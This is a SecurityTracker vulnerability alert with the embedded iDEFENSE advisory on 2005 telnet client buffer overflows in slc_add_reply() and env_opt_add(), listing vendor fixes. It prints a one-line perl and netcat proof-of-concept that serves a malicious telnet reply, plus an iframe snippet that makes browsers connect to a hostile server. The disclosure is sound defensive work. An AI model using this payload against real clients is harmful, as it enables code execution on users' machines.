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Category:   Application (Generic)  >   Telnet Vendors:   [Multiple Authors/Vendors]
Telnet Client Buffer Overflow in slc_add_reply() and env_opt_add() Lets Remote Servers Execute Arbitrary Code
SecurityTracker Alert ID:  1013575
SecurityTracker URL:  http://securitytracker.com/id/1013575
CVE Reference:   CVE-2005-0468, CVE-2005-0469   (Links to External Site)
Updated:  Mar 29 2005
Original Entry Date:  Mar 28 2005
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  

Description:   iDEFENSE reported two buffer overflow vulnerabilities in Telnet, affecting several vendor implementations. A remote server can execute arbitrary code on a connected target user's client.

A remote telnet server can send a large number of specially crafted LINEMODE Set Local Character (SLC) commands to trigger an overflow in the slc_add_reply() function.

Solar Designer has provided the following demonstration exploit:

perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23

A remote server can also return specially crafted characters that will be escaped by the target user's client, overflowing a buffer in the env_opt_add() function.

Arbitrary code can be executed with the privileges of the target user.

Several telnet client implementations are affected.

The vendors were notified on February 18, 2005.

The original advisories are available at:

http://www.idefense.com/application/poi/display?id=220&type=vulnerabilities
http://www.idefense.com/application/poi/display?id=221&type=vulnerabilities

Impact:   A remote server can execute arbitrary code on a connected target user's system with the privileges of the target user.
Solution:   Several vendors are issuing fixes.

[Editor's note: Separate alerts will be issued for each vendor fix.]

Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Mar 28 2005 (FreeBSD Issues Fix) Telnet Client Buffer Overflow in slc_add_reply() and env_opt_add() Lets Remote Servers Execute Arbitrary Code
FreeBSD has released a fix.
Mar 28 2005 (Red Hat Issues Fix) Telnet Client Buffer Overflow in slc_add_reply() and env_opt_add() Lets Remote Servers Execute Arbitrary Code
Red Hat has released a fix.
Mar 29 2005 (Solaris is Vulnerable) Telnet Client Buffer Overflow in slc_add_reply() and env_opt_add() Lets Remote Servers Execute Arbitrary Code
Sun Solaris is affected by this vulnerability.
Mar 30 2005 (MIT Issues Fix for Kerberos) Telnet Client Buffer Overflow in slc_add_reply() and env_opt_add() Lets Remote Servers Execute Arbitrary Code
A fix is available for MIT Kerberos.
Mar 30 2005 (Red Hat Issues Fix for Kerberos) Telnet Client Buffer Overflow in slc_add_reply() and env_opt_add() Lets Remote Servers Execute Arbitrary Code
Red Hat has released a fix for Kerberos.
Mar 30 2005 (OpenBSD Issues Fix) Telnet Client Buffer Overflow in slc_add_reply() and env_opt_add() Lets Remote Servers Execute Arbitrary Code
OpenBSD has issued a fix.
Apr 2 2005 (Mandrake Issues Fix for Kerberos) Telnet Client Buffer Overflow in slc_add_reply() and env_opt_add() Lets Remote Servers Execute Arbitrary Code
Mandrake has issued a fix for Kerberos.



 Source Message Contents

Subject:  iDEFENSE Security Advisory 03.28.05: Multiple Telnet Client


Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability

iDEFENSE Security Advisory 03.28.05
www.idefense.com/application/poi/display?id=220&type=vulnerabilities
March 28, 2005

I. BACKGROUND

The TELNET protocol allows virtual network terminals to be connected to
over the internet. The initial description of the protocol was given in
RFC854 in May 1983. Since then there have been many extra features added
including encryption.

II. DESCRIPTION

Remote exploitation of an buffer overflow vulnerability error in 
multiple telnet clients may allow execution of arbitrary commands.

The vulnerability specifically exists in the handling of the LINEMODE
suboptions, in that there is no size check made on the output, which is
stored in a fixed length buffer. By sending a specially constructed
reply containing a large number of SLC (Set Local Character) commands, 
it is possible to overflow this buffer with server supplied data.

III. ANALYSIS

Successful exploitation would allow a remote attacker to execute 
arbitrary code in the context of the user which initiated the telnet 
process. In order to exploit this vulnerability, an attacker would need 
to convince the user to connect to their malicious server. It may be 
possible to automatically launch the telnet command from a webpage, for 
example:

<html><body>
<iframe src='telnet://malicious.server/'>
</body>

On opening this page the telnet client may be launched and attempt to 
connect to the host 'malicious.server'.

IV. DETECTION

iDEFENSE has confirmed the existence of the vulnerability in the telnet 
client included in the Kerberos V5 Release 1.3.6 package and the client 
included in the SUNWtnetc package of Solaris 5.9. It is suspected that 
most BSD based telnet clients are affected by this vulnerability.

V. WORKAROUND

iDEFENSE is currently unaware of any effective workarounds for this 
vulnerability.

VI. VENDOR RESPONSE

The following vendors have provided official responses related to this
vulnerability. Other vendors may be affected but have not provided an
official response.

Vulnerable:

- ALT Linux
All supported ALT Linux distributions include telnet client derived from
OpenBSD 3.0. The slc_add_reply() buffer overflow vulnerability is
present in all our telnet clients.  Updated packages with fixes for
these issues will be released on March 28, 2005.
http://lists.altlinux.ru/pipermail/security-announce/2005-March/000287.html

- Apple Computer, Inc.
Component:  Telnet
Available for: Mac OS X 10.3.8, Mac OS X Server 10.3.8
This is fixed in Security Update 2005-003, which is available at
http://docs.info.apple.com/article.html?artnum=61798

- FreeBSD
FreeBSD-SA-05:01.telnet security advisory:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:01.telnet.asc

- MIT (Kerberos)
This vulnerability is covered in the following upcoming advisory:
MITKRB5-SA-2005-001:
   http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2005-001-telnet.txt
patch against krb5-1.4:
      http://web.mit.edu/kerberos/advisories/2005-001-patch_1.4.txt

- Openwall Project
The bugs are fixed starting with telnet package version 3.0-owl2.
   http://www.openwall.com/Owl/CHANGES-current.shtml

- Red Hat, Inc.
Red Hat Enterprise Linux ships with telnet and krb5 packages vulnerable
to this issue.  New telnet and krb5 packages are now available along
with our advisory at the URLs below and by using the Red Hat Network
'up2date' tool.
   Red Hat Enterprise Linux - telnet
      http://rhn.redhat.com/errata/RHSA-2005-330.html
   Red Hat Enterprise Linux - krb5
      http://rhn.redhat.com/errata/RHSA-2005-327.html

- Sun Microsystems Inc.
Sun confirms that the telnet(1) vulnerabilities do affect all
currently supported versions of Solaris:
   Solaris 7, 8, 9 and 10
Sun has released a Sun Alert which describes a workaround until patches
are available at:
   http://sunsolve.sun.com
   Sun Alert #57755  
The Sun Alert will be updated with the patch information once it becomes
available. Sun patches are available from:
   http://sunsolve.sun.com/securitypatch

Not Vulnerable:

- CyberSafe Limited
The CyberSafe TrustBroker products, version 3.0 or later, are not vulnerable.

- Hewlett-Packard Development Company, L.P.
HP-UX and HP Tru64 UNIX are not vulnerable.

- InterSoft International, Inc.
InterSoft International, Inc. products NetTerm, SecureNetTerm and
SNetTerm are not affected by the slc_add_reply() buffer overflow
conditions.

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0469 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

02/18/2005  Initial vendor notification
03/28/2005  Coordinated public disclosure

IX. CREDIT


Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.idefense.com

X. LEGAL NOTICES


Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
 
 


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